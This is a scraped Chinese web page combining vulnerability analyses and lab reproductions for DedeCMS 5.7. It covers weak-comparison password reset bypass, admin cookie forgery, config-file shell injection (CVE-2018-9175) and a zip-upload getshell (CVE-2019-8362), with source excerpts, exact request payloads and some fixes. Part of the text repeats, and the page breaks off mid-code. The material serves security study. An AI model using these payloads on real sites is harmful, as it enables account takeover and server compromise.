通过3个问题连起来,我们可以重置后台admin密码,如果我们获得了后台地址,就可以进一步登陆后台进行下一步攻击。
1、前台任意用户密码修改漏洞
前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断,再加上在设置初始值时使用了NULL作为默认填充,导致可以使用弱类型判断的漏洞来绕过判断。
漏洞利用有几个限制:
漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
admin账户的前后台密码不一致,无法修改后台密码。
漏洞只影响未设置密保问题的账户
2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。
漏洞利用有一个限制:
如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。
3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。
而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。
通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。
0x03 漏洞复现
1、 登陆admin前台账户
安装DeDeCMS
注册用户名为000001的账户
由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过
访问
获取cookie中last_vid_ckMd5值,设置 DeDeUserID_ckMd5为刚才获取的值,并设置DedeUserID为0000001
访问
2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
直接访问该链接,修改新密码
成功修改登陆admin密码
3、修改后台密码
访问
使用刚才修改的密码再次修改密码
成功登陆
0x04 代码分析
1、 前台任意用户登陆
在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行
通过GetCookie函数从DedeUserID取到了明文的M_ID,通过intval转化之后,直接从数据库中读取该id对应的用户数据。
让我们来看看GetCookie函数
/include/helpers/cookie.helper.php 56行
这里的cfg_cookie_encode是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。
这里我们需要从别的地方获取这个加密后的值。
/member/index.php161行
161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当last_vid没有设置的时候,会把userid更新到这个变量中,更新到flag中。
而这里的userid就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。
通过这种方式,我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册userid为形似00001或者1aaa这样的用户,在获取登陆状态时,mid会经过intval的转化变为1,我们就成功的登陆到admin的账户下。
ps:该漏洞影响所有用户
2、前台任意用户密码修改
漏洞主要逻辑在 /member/resetpassword.php 75行至95行
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)
下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入 0.0就可以绕过这里,然后0.0 == 0为True,第二个判断NULL==""为True,成功进入sn函数。
跟入/member/inc/inc_pwd_functions.php 第150行
有效时间10分钟,进入newmail函数
跟入/member/inc/inc_pwd_functions.php第73行
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接,进入修改密码流程
唯一存在问题的是,这里&错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。
3、修改后台密码安全隐患
在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行
0x05 修复方案
截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。
在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患
/member/index.php 161-162行
修改文件/member/resetpassword.php 第84行
将其中的==修改为===
即可临时防护该该漏洞。
参 考 链 接
[1] DeDeCMS官网
[2] 漏洞详情原文
[3] Seebug漏洞平台
[4] 阿里先知平台漏洞分析1
[5] 阿里先知平台漏洞分析2
[6] 漏洞最早分析原文
往 期 热 门 查看全部
DeDeCMS v5.7 密码修改漏洞分析
0x01 背景
织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2018年1月10日, 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节[2]。
2018年1月10日,Seebug漏洞平台[3]收录该漏洞,漏洞编号为SSV-97074,知道创宇404漏洞应急团队成功复现该漏洞。
2018年1月17日,阿里先知平台公开了一个任意用户登陆漏洞[4][1],和一个安全隐患[6],通过组合漏洞,导致后台密码可以被修改。
2018年1月18日,知道创宇404漏洞应急团队成功复现该漏洞。
0x02 漏洞简述
整个漏洞利用链包括3个过程:
前台任意用户密码修改漏洞
前台任意用户登陆漏洞
前台管理员密码修改可影响后台的安全隐患
通过3个问题连起来,我们可以重置后台admin密码,如果我们获得了后台地址,就可以进一步登陆后台进行下一步攻击。
1、前台任意用户密码修改漏洞
前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断,再加上在设置初始值时使用了NULL作为默认填充,导致可以使用弱类型判断的漏洞来绕过判断。
漏洞利用有几个限制:
漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
admin账户的前后台密码不一致,无法修改后台密码。
漏洞只影响未设置密保问题的账户
2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。
漏洞利用有一个限制:
如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。
3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。
而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。
通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。
0x03 漏洞复现
1、 登陆admin前台账户
安装DeDeCMS
注册用户名为000001的账户
由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过
访问
获取cookie中last_vid_ckMd5值,设置 DeDeUserID_ckMd5为刚才获取的值,并设置DedeUserID为0000001
访问
2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
直接访问该链接,修改新密码
成功修改登陆admin密码
3、修改后台密码
访问
使用刚才修改的密码再次修改密码
成功登陆
0x04 代码分析
1、 前台任意用户登陆
在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行
通过GetCookie函数从DedeUserID取到了明文的M_ID,通过intval转化之后,直接从数据库中读取该id对应的用户数据。
让我们来看看GetCookie函数
/include/helpers/cookie.helper.php 56行
这里的cfg_cookie_encode是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。
这里我们需要从别的地方获取这个加密后的值。
/member/index.php161行
161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当last_vid没有设置的时候,会把userid更新到这个变量中,更新到flag中。
而这里的userid就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。
通过这种方式,我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册userid为形似00001或者1aaa这样的用户,在获取登陆状态时,mid会经过intval的转化变为1,我们就成功的登陆到admin的账户下。
ps:该漏洞影响所有用户
2、前台任意用户密码修改
漏洞主要逻辑在 /member/resetpassword.php 75行至95行
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)
下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入 0.0就可以绕过这里,然后0.0 == 0为True,第二个判断NULL==""为True,成功进入sn函数。
跟入/member/inc/inc_pwd_functions.php 第150行
有效时间10分钟,进入newmail函数
跟入/member/inc/inc_pwd_functions.php第73行
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接,进入修改密码流程
唯一存在问题的是,这里&错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。
3、修改后台密码安全隐患
在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行
0x05 修复方案
截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。
在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患
/member/index.php 161-162行
修改文件/member/resetpassword.php 第84行
将其中的==修改为===
即可临时防护该该漏洞。
参 考 链 接
[1] DeDeCMS官网
[2] 漏洞详情原文
[3] Seebug漏洞平台
[4] 阿里先知平台漏洞分析1
[5] 阿里先知平台漏洞分析2
[6] 漏洞最早分析原文
往 期 热 门
搭建dedecms漏洞靶场练习环境
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-06-17 15:32
前言
本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现,因为代码审计较弱,代码这一块的分析借鉴了一些大佬们的思想,在这里对大佬们表示衷心的感谢。
环境搭建
下载DedeCMS源码放到phpstudy目录下
然后输入127.0.0.1/DedeCMS/uploads/install/index.php进行安装
进入环境检测页面
进行环境配置
这里先进入网站的后台
默认密码为admin admin
这里需要改一下绝对路径
系统默认管理路径是dede,登陆管理后台可以通过地址进行访问
这里我直接在根目录下更改
重新进去管理员后台即可
然后再对php文件进行修改
然后再对默认的管理员名称和密码进行修改
更改成功
对数据进行还原
看一下网站的地址
点击生成更新网站
更新后如图所示
然后即可访问网站,CMS搭建完毕
漏洞分析及复现前台任意用户密码修改漏洞成因
在用户密码重置功能处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理。
漏洞代码分析
php弱类型比较问题很常见,在不同类型比较时,如果使用的是==,php会将其中一个数据进行强制转换为另一个,比如'123a'就会被强制转换成123。这样就出现了弱类型比较问题,当然如果使用===判断比较就不会出现问题了,常见比较如下
'' == 0 == false '123' == 123 //'123'强制转换为123'abc' == 0 //intval('abc')==0'123a' == 123 //intval('123a')==123'1' == 1 //被识别为十六进制'0e123456789' == '0e987654321' //被识别为科学计数法[false] == [0] == [NULL] == ['']NULL == false == 0true == 1
dedecms的/member/resetpassword.php就是用来处理用户密码重置的问题,问题出在75行开始处理验证密保问题处。
else if($dopost == "safequestion"){ $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); }}
可以看到,这段代码先是从数据库取出相关用户的密保问题及密保答案,在对用户输入做了一些处理后,进行了关键性的判断
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
就在这里用了弱类型判断==。
首先我们知道,如果没有设置密保的话safequestion从数据库取出默认为'0',safeanswer为空。根据empty函数特性,'0'会被判断为空,会进入重新将$safequestion赋值为''。而'0' != '',所以我们需要一个输入即不使empty为空,且弱类型等于'0'的字符串。'00'、'000'、'0.0'以上这些都是可以的。
接下来safeanswer既然本来就为空,那么不输入正好也就相等了,跟踪sn函数
function sn($mid,$userid,$mailto, $send = 'Y'){ global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件; else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); }}
跟踪newmail
function newmail($mid, $userid, $mailto, $type, $send){ global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 'login.php'); } }
可见在sn函数中将send参数设置了'N',其实就是生成了暂时密码并插入了数据库中,并进行跳转
else if ($send == 'N'){ return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); }
跳转链接就是修改密码的链接了
漏洞复现
首先打开后台管理页面开启会员功能
注册一个帐号
信息的话随便填一下即可注册成功
然后进入了个人中心
进入会员中心
点击通过安全问题取回
输入用户名
拖入bp改包为payload
dopost=safequestion&id=1&userid=admin&safequestion=00&safeanswer=0&vdcode=Vs4p
进入url,修改密码
前台文件上传漏洞漏洞分析
漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php
而上传文件存在全局过滤/include/uploadsafe.inc.php
#/include/uploadsafe.inc.php$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ){ if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); }}$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){ $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); }}
可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:
$imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?> 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',')) { if($last_vid!='') { $last_vids = explode(',',$last_vid); $i = 0; $last_vid = $uid; foreach($last_vids as $lsid) { if($i>10) { break; } else if($lsid != $uid) { $i++; $last_vid .= ','.$last_vid; } } } else { $last_vid = $uid; } PutCookie('last_vtime', $vtime, 3600*24, '/'); PutCookie('last_vid', $last_vid, 3600*24, '/');
我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。
那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。
而在接下来会验证用户是否登录。
现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php
//php5构造函数 function __construct($kptime = -1, $cache=FALSE) { global $dsql; if($kptime==-1){ $this->M_KeepTime = 3600 * 24 * 7; }else{ $this->M_KeepTime = $kptime; } $formcache = FALSE; $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); $this->M_LoginTime = GetCookie("DedeLoginTime"); $this->fields = array(); $this->isAdmin = FALSE; if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID); if ($cache) { $this->fields = GetCache($this->memberCache, $this->M_ID); if( empty($this->fields) ) { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } else { $formcache = TRUE; } } else { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } if(is_array($this->fields)){ #api{{ if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php') { if($data = uc_get_user($this->fields['userid'])) { if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API)) { $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle'; $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'"); } } } #/aip}} //间隔一小时更新一次用户登录时间 if(time() - $this->M_LoginTime > 3600) { $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';"); PutCookie("DedeLoginTime",time(),$this->M_KeepTime); } $this->M_LoginID = $this->fields['userid']; $this->M_MbType = $this->fields['mtype']; $this->M_Money = $this->fields['money']; $this->M_UserName = FormatUsername($this->fields['uname']); $this->M_Scores = $this->fields['scores']; $this->M_Face = $this->fields['face']; $this->M_Rank = $this->fields['rank']; $this->M_Spacesta = $this->fields['spacesta']; $sql = "Select titles From #@__scores where integralfields['scores']} order by integral desc"; $scrow = $dsql->GetOne($sql); $this->fields['honor'] = $scrow['titles']; $this->M_Honor = $this->fields['honor']; if($this->fields['matt']==10) $this->isAdmin = TRUE; $this->M_UpTime = $this->fields['uptime']; $this->M_ExpTime = $this->fields['exptime']; $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']); if($this->M_Rank>10 && $this->M_UpTime>0){ $this->M_HasDay = $this->Judgemember(); } if( !$formcache ) { SetCache($this->memberCache, $this->M_ID, $this->fields, 1800); } }else{ $this->ResetUser(); } } }
$this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数
if ( ! function_exists('GetCookie')){ function GetCookie($key) { global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } } }}
它不但读了cookie还验证了md5值。
这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为'000001'即可。
可以看到已经获取到了,拿去当做DeDeUserID,可以看到,登陆了admin用户
Dedecms V5.7后台的两处getshell(CVE-2018-9175)漏洞成因
后台写配置文件过滤不足导致写shell
代码分析
第一个
在/dede/sys_verifies.php中的第152行处
else if ($action == 'getfiles'){ if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, ''); fclose($fp);
可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。
dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar;}if (!defined('DEDEREQUEST')){ //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { if($_k == 'nvarname') continue; CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) ) { exit('Request var not allow!'); } } } //var_dump($_REQUEST);exit; CheckRequest($_REQUEST); CheckRequest($_COOKIE); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); } }}
上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作
$filename = substr($filename,3,strlen($filename)-3);
去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入" 时经过addlashes会变成\",再去掉前三个字符就只剩下双引号实现闭合。
此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php
第二个
同样是写配置文件,位于/dede/sys_cache_up.php
else if($step == 2){ include_once(DEDEINC."/enums.func.php"); WriteEnumsCache(); //WriteAreaCache(); 已过期 ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc"); exit();}
跟进WriteEnumsCache()
function WriteEnumsCache($egroup=''){ global $dsql; $egroups = array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow = $dsql->GetArray('enum')) { $egroups[] = $nrow['egroup']; } foreach($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; $fp = fopen($cachefile,'w'); fwrite($fp,''); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!';}
可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。
将shell写进数据库中
https://192.168.10.3/DedeCMS/u ... pinfo();//&islogin=1
漏洞复现
因为包含是在同一个文件,所以直接输入
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
DedeCMS 后台文件上传getshell(CVE-2019-8362)漏洞成因
上传zip文件解压缩对于文件名过滤不周,导致getshell
代码分析
/dede/album_add.php 175行验证后缀
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);
进入函数:
function GetMatchFiles($indir, $fileexp, &$filearr) { $dh = dir($indir); while($filename = $dh->read()) { $truefile = $indir.'/'.$filename; if($filename == "." || $filename == "..") { continue; } else if(is_dir($truefile)) { $this->GetMatchFiles($truefile, $fileexp, $filearr); } else if(preg_match("/\.(".$fileexp.")/i",$filename)) { $filearr[] = $truefile; } } $dh->close(); }
可以确定preg_match("/\.(".$fileexp.")/i",$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过
2.5.3 漏洞复现
生成一个1.php并改名为1.jpg.php
将文件压缩为1.zip
找到文件式管理器下的soft目录
将压缩文件上传
访问album_add.php
http://192.168.10.3/DedeCMS/Dr ... d.php
选择从zip包中解压图片
发布后点击预览文档
点击上传的包
即可打出phpinfo()
查看全部
搭建dedecms漏洞靶场练习环境
前言
本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现,因为代码审计较弱,代码这一块的分析借鉴了一些大佬们的思想,在这里对大佬们表示衷心的感谢。
环境搭建
下载DedeCMS源码放到phpstudy目录下
然后输入127.0.0.1/DedeCMS/uploads/install/index.php进行安装
进入环境检测页面
进行环境配置
这里先进入网站的后台
默认密码为admin admin
这里需要改一下绝对路径
系统默认管理路径是dede,登陆管理后台可以通过地址进行访问
这里我直接在根目录下更改
重新进去管理员后台即可
然后再对php文件进行修改
然后再对默认的管理员名称和密码进行修改
更改成功
对数据进行还原
看一下网站的地址
点击生成更新网站
更新后如图所示
然后即可访问网站,CMS搭建完毕
漏洞分析及复现前台任意用户密码修改漏洞成因
在用户密码重置功能处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理。
漏洞代码分析
php弱类型比较问题很常见,在不同类型比较时,如果使用的是==,php会将其中一个数据进行强制转换为另一个,比如'123a'就会被强制转换成123。这样就出现了弱类型比较问题,当然如果使用===判断比较就不会出现问题了,常见比较如下
'' == 0 == false '123' == 123 //'123'强制转换为123'abc' == 0 //intval('abc')==0'123a' == 123 //intval('123a')==123'1' == 1 //被识别为十六进制'0e123456789' == '0e987654321' //被识别为科学计数法[false] == [0] == [NULL] == ['']NULL == false == 0true == 1
dedecms的/member/resetpassword.php就是用来处理用户密码重置的问题,问题出在75行开始处理验证密保问题处。
else if($dopost == "safequestion"){ $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); }}
可以看到,这段代码先是从数据库取出相关用户的密保问题及密保答案,在对用户输入做了一些处理后,进行了关键性的判断
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
就在这里用了弱类型判断==。
首先我们知道,如果没有设置密保的话safequestion从数据库取出默认为'0',safeanswer为空。根据empty函数特性,'0'会被判断为空,会进入重新将$safequestion赋值为''。而'0' != '',所以我们需要一个输入即不使empty为空,且弱类型等于'0'的字符串。'00'、'000'、'0.0'以上这些都是可以的。
接下来safeanswer既然本来就为空,那么不输入正好也就相等了,跟踪sn函数
function sn($mid,$userid,$mailto, $send = 'Y'){ global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件; else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); }}
跟踪newmail
function newmail($mid, $userid, $mailto, $type, $send){ global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 